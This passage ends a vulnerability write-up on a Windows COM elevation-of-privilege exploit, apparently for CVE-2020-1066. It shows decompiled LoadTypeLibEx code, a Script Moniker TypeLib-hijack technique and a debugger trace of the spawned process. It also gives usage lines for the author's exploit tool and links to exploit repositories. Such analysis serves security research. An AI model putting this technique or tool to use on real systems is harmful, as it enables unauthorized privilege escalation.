if ( RegOpenKeyW(phkResult, &Dst, &v22)
|| RegOpenKeyW(v22, L"win32", &v21) && (RegEnumKeyW(v22, 0, &Dst, 6u) || RegOpenKeyW(v22, &Dst, &v21)) )
{
break;
}
cbData = 520;
if ( RegQueryValueW(v21, 0, &Data, &cbData) )
break;
//找到后就加载
v8 = LoadTypeLib(&Data, &pptlib);
v9 = (wchar_t *)v8;
if ( !v8 || v8 >= 0 )
{
//根据GUID查找TypeInfo
v10 = pptlib->lpVtbl->GetTypeInfoOfGuid(pptlib, v12, &v14);
v9 = (wchar_t *)v10;
if ( !v10 || v10 >= 0 )
{
*v13 = v14;
v9 = 0;
}
}
goto LABEL_26;
}
++v6;
}
}
....
```
Each TypeLib can be a nested TypeLib structure, and loading a nested TypeLib will also recursively call LoadTypeLibEx. For the specific construction method, refer to the exploit tool code and [Microsoft official API](https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-itypelib2). In this way, when recursively loading a TypeLib, you can specify a non-existent TypeLib file path, which can then be parsed as a [Moniker](https://docs.microsoft.com/en-us/windows/win32/api/objidl/nn-objidl-imoniker) via the Moniker's DisplayName. Here, the Script Moniker is used, i.e., script:xxx.sct script file. Ultimately, the Script Moniker is resolved, triggering BindToObject, and using Unmarshal to deserialize and launch a Shell with the caller's privileges. The principle is as follows:```
HRESULT __stdcall LoadTypeLibEx(LPCOLESTR szFile, REGKIND regkind, ITypeLib **pptlib)
{
...
ptlib = OLE_TYPEMGR::LookupTypeLib(g_poletmgr, szFile, syskind);
if ( ptlib )
goto LABEL_31;
//Typelib文件路径不存在时
if ( FindTypeLib(szFileNameRef, (LONG)&szFullPath, v5) )
{
if ( CreateBindCtx(1u, &ppbc) )
goto LABEL_67;
v8 = SysAllocString(szFileNameRef);
if ( v8 )
{
//可以解析成解析Script Moniker
stat = MkParseDisplayName(ppbc, v8, &pchEaten, &ppmk);
SysFreeString(v8);
if ( !stat )
{
//启动shell
stat = ppmk->lpVtbl->BindToObject(ppmk, ppbc, 0, &IID_ITypeLib, (void **)&ptlib);
ppmk->lpVtbl->Release(ppmk);
}
}
...
```
查看大图
Compared to Process Monitor, the following is the debugging result of the final process created by Script Moniker.```
Breakpoint 0 hit
kernel32!CreateProcessW:
0033:00000000`77741bb0 4883ec68 sub rsp,68h
//启动的就是exp
0: kd> dc @rdx
00000000`0378b9f8 00430022 002f003a 006c0064 0074002f ".C.:./.d.l./.t.
00000000`0378ba08 00730065 002f0074 006b006f 004d002f e.s.t./.o.k./.M.
00000000`0378ba18 00430079 006d006f 006f0045 002e0070 y.C.o.m.E.o.p...
00000000`0378ba28 00780065 00220065 00310020 00000000 e.x.e.". .1.....
00000000`0378ba38 00000000 00000000 00000000 00000000 ................
00000000`0378ba48 00000000 00000000 00000000 00000000 ................
0: kd> kv
# Child-SP RetAddr : Args to Child : Call Site
00 00000000`0288c3e8 000007fe`ec9ec0dd : 00000000`00000000 000007fe`ec8e1982 00001e9f`9ac2b3f6 00000000`00000000 : kernel32!CreateProcessW
01 00000000`0288c3f0 000007fe`ec9ec55f : 00000000`00000000 00000000`0288c5c0 00000000`0288c788 00000000`0288c5c0 : wshom!CWshShell::CreateShortcut+0x30d
02 00000000`0288c4e0 000007fe`feb616d0 : 00000000`0288c7a0 00000000`002fd46c 00000000`0378b9f8 00000000`00000000 : wshom!CWshShell::Exec+0x2b3
03 00000000`0288c5a0 000007fe`feb624d2 : 00000000`00000104 000007fe`fec008e0 00000000`00000fff 000007fe`feb623b8 : OLEAUT32!DispCallFuncAmd64+0x60
04 00000000`0288c600 000007fe`feb61de1 : 00000000`0366c2b8 00000000`037cd3f8 00000000`037806c0 00000000`0288c768 : OLEAUT32!DispCallFunc+0x268
05 00000000`0288c6b0 000007fe`ec9e12d5 : 00000000`002f60d0 000007fe`feb6150c 00000000`03796ee0 00000000`00000002 : OLEAUT32!CTypeInfo2::Invoke+0x39a
06 00000000`0288ca20 000007fe`ec9e121d : 00000000`00000bc4 000007fe`ebf5d79e 00000000`00000000 000007fe`ff8724c8 : wshom!CDispatch::Invoke+0xad
07 00000000`0288ca80 000007fe`ebf7ad24 : 00000000`00001f80 00000000`00000bc4 00000000`0288e560 00000000`002ffbc0 : wshom!CWshExec::Invoke+0x4d
08 00000000`0288cae0 000007fe`ebf79dc7 : 00000000`00000000 00000000`002ffbc0 00000000`00000000 00000000`001758b0 : jscript!CScriptRuntime::Run+0x2e1d
09 00000000`0288e4f0 000007fe`ebf79c09 : 00000000`00000000 00000000`0017c6b0 00000000`00000000 00000000`00000000 : jscript!ScrFncObj::CallWithFrameOnStack+0x187
0a 00000000`0288e700 000007fe`ebf79a25 : 00000000`001758b0 00000000`00000000 00000000`001758b0 00000000`00000000 : jscript!ScrFncObj::Call+0xb5
0b 00000000`0288e7a0 000007fe`ebf7903b : 00000000`0008001f 00000000`001758b0 00000000`00000000 00000000`002f6660 : jscript!CSession::Execute+0x1a5
0c 00000000`0288e890 000007fe`ebf79386 : 00000000`00000000 00000000`001758b0 00000000`00000000 ffffffff`ffffffff : jscript!COleScript::ExecutePendingScripts+0x223
0d 00000000`0288e960 000007fe`eca17186 : 00000000`00000000 000007fe`eca17f9d 00000000`002fc410 01d61e99`4640f6a8 : jscript!COleScript::SetScriptState+0x6e
0e 00000000`0288e990 000007fe`eca17004 : 00000000`002fc400 00000000`002fc400 00000000`002f3ce0 00000000`002f3ce0 : scrobj!ComScriptlet::Inner::StartEngines+0xcf
0f 00000000`0288e9f0 000007fe`eca16dc1 : 00000000`002c95e0 00000000`002fc400 00000000`002f3ce0 000007fe`ff687a01 : scrobj!ComScriptlet::Inner::Init+0x27a
10 00000000`0288ea90 000007fe`eca16caa : 00000000`002f3ce0 00000000`00000000 00000000`00000000 00000000`00000000 : scrobj!ComScriptlet::New+0xca
11 00000000`0288eac0 000007fe`eca220f3 : 00000000`002f62a0 00000000`00249618 00000000`002ce680 00000000`037143d8 : scrobj!ComScriptletConstructor::Create+0x68
12 00000000`0288eb10 000007fe`ff6678d6 : 00000000`03798760 00000000`03718760 00000000`037da9c0 000007fe`fee9b065 : scrobj!ComScriptletMoniker::BindToObject+0x7f
13 00000000`0288eb60 000007fe`ff5669ba : 000007fe`ff68be00 000007fe`ff6608bd 00000000`00000030 000007fe`ff68be30 : ole32!IMoniker_BindToObject_Stub+0x16 [d:\w7rtm\com\ole32\oleprx32\proxy\call_as.c @ 2264]
14 00000000`0288eba0 000007fe`fee9bc86 : 00000000`00000005 00000000`03718760 000007fe`ff687a18 00000000`037da9c0 : ole32!IMoniker_RemoteBindToObject_Thunk+0x2a [o:\w7rtm.obj.amd64fre\com\ole32\oleprx32\proxy\daytona\objfre\amd64\mega_p.c @ 487]
15 00000000`0288ebe0 000007fe`fedf48d6 : 00000000`0288f248 000007fe`ff66376f 00000000`03715700 00000000`0379a2a0 : RPCRT4!Ndr64AsyncServerCallAll+0x1806
16 00000000`0288f1a0 000007fe`ff660883 : 00000000`00000000 00000000`00000000 000007fe`ff695b80 00000000`03715ea0 : RPCRT4!NdrStubCall3+0xc6
17 00000000`0288f200 000007fe`ff660ccd : 00000000`00000001 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CStdStubBuffer_Invoke+0x5b [d:\w7rtm\com\rpc\ndrole\stub.cxx @ 1586]
18 00000000`0288f230 000007fe`ff660c43 : 00000000`037da9c0 00000000`0579cb14 00000000`036ce730 000007fe`eca36a40 : ole32!SyncStubInvoke+0x5d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1187]
19 00000000`0288f2a0 000007fe`ff51a4f0 : 00000000`037da9c0 00000000`0361e890 00000000`037da9c0 00000000`00000178 : ole32!StubInvoke+0xdb [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1396]
1a 00000000`0288f350 000007fe`ff52d551 : 00000000`00000000 00000000`00000001 00000000`0376e9e0 00000000`03715ea0 : ole32!CCtxComChnl::ContextInvoke+0x190 [d:\w7rtm\com\ole32\com\dcomrem\ctxchnl.cxx @ 1262]
1b 00000000`0288f4e0 000007fe`ff66347e : 00000000`0361e890 00000000`00000000 00000000`03718760 00000000`00000000 : ole32!STAInvoke+0x91 [d:\w7rtm\com\ole32\com\dcomrem\callctrl.cxx @ 1923]
1c 00000000`0288f530 000007fe`ff66122b : 00000000`d0908070 00000000`0361e890 00000000`01d93e30 00000000`03718760 : ole32!AppInvoke+0x1aa [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1081]
1d 00000000`0288f5a0 000007fe`ff663542 : 00000000`037da930 00000000`00000400 00000000`00000000 00000000`01d98a30 : ole32!ComInvokeWithLockAndIPID+0x52b [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1727]
1e 00000000`0288f730 000007fe`ff52d42d : 00000000`03715ea0 00000000`00000000 00000000`0378f190 00000000`037da930 : ole32!ComInvoke+0xae [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1469]
1f 00000000`0288f760 000007fe`ff52d1d6 : 00000000`0361e890 00000000`037da938 00000000`00000400 00000000`00000000 : ole32!ThreadDispatch+0x29 [d:\w7rtm\com\ole32\com\dcomrem\chancont.cxx @ 298]
20 00000000`0288f790 00000000`77639bd1 : 00000000`00000000 00000000`00000000 00000000`00000000 b2698378`e8b9daaa : ole32!ThreadWndProc+0xaa [d:\w7rtm\com\ole32\com\dcomrem\chancont.cxx @ 654]
21 00000000`0288f810 00000000`776398da : 00000000`0288f970 000007fe`ff52d12c 000007fe`ff6c5780 00000000`006c4200 : USER32!UserCallWinProcCheckWow+0x1ad
22 00000000`0288f8d0 000007fe`ff52d0ab : 00000000`000b0098 00000000`000b0098 000007fe`ff52d12c 00000000`00000000 : USER32!DispatchMessageWorker+0x3b5
23 00000000`0288f950 000007fe`ff653e57 : 00000000`0361e890 00000000`00000000 00000000`0361e890 000007fe`ff513032 : ole32!CDllHost::STAWorkerLoop+0x68 [d:\w7rtm\com\ole32\com\objact\dllhost.cxx @ 957]
24 00000000`0288f9b0 000007fe`ff500106 : 00000000`0361e890 00000000`036d6510 00000000`00000000 00000000`00000000 : ole32!CDllHost::WorkerThread+0xd7 [d:\w7rtm\com\ole32\com\objact\dllhost.cxx @ 834]
25 00000000`0288f9f0 000007fe`ff500182 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CRpcThread::WorkerLoop+0x1e [d:\w7rtm\com\ole32\com\dcomrem\threads.cxx @ 257]
26 00000000`0288fa30 00000000`7773652d : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CRpcThreadCache::RpcWorkerThreadEntry+0x1a [d:\w7rtm\com\ole32\com\dcomrem\threads.cxx @ 63]
27 00000000`0288fa60 00000000`7786c521 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : kernel32!BaseThreadInitThunk+0xd
28 00000000`0288fa90 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21
```
我的漏洞利用工具测试方式如下,需要管理员运行```
1.只适用Windows7系统直接运行,无参数,替换默认Typelib
MyComEop.exe
2.替换指定接口TypeLIb文件路径的Com组件TypeLIb,比如C:\xxx.dll
MyComEop.exe [u] [TypeLib_Path]
3.替换指定接口IID的Com组件TypeLIb,比如 {55e3ea25-55cb-4650-8887-18e8d30bb4bc}
MyComEop.exe [u] [IID_Interface]
4.高级模式接口IID=[IID_Interface],接口名称=[InterfaceName],接口的TypeLib_GUID=[TypeLib_GUID_Interface],接口TypeLIb文件路径=[TypeLib_Path]
MyComEop.exe [u] [IID_Interface] [InterfaceName] [TypeLib_GUID_Interface] [TypeLib_Path] [Disable_Redirection]
5.不替换文件,仅测试指定接口IID的Com组件TypeLIb利用,比如 {55e3ea25-55cb-4650-8887-18e8d30bb4bc}
MyComEop.exe [t] [IID_Interface]
```
#### Running Effect ####
The following shows the effect of the author's exploit, as shown in the figure:

#### Related Projects ####
[CVE-2020-0787-EXP](https://gitee.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION)
[Windows CardSpace Service Decompilation Project](https://gitee.com/cbwang505/Windows_CardSpace_Service)
[My ole32 Reverse Engineering](https://gitee.com/cbwang505/MyOle32ReverseEngineering)
[My Exploit Tool](https://gitee.com/cbwang505/TypeLibUnmarshaler)
[Symbolic Link Testing Tools](https://github.com/googleprojectzero/symboliclink-testing-tools)
[CVE-2020-1066-EXP](https://gitee.com/cbwang505/CVE-2020-1066-EXP)
#### Related References ####
[CVE-2020-1066](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-1066)
#### Contributions ####
Author from ZheJiang Guoli Security Technology, email: [email protected]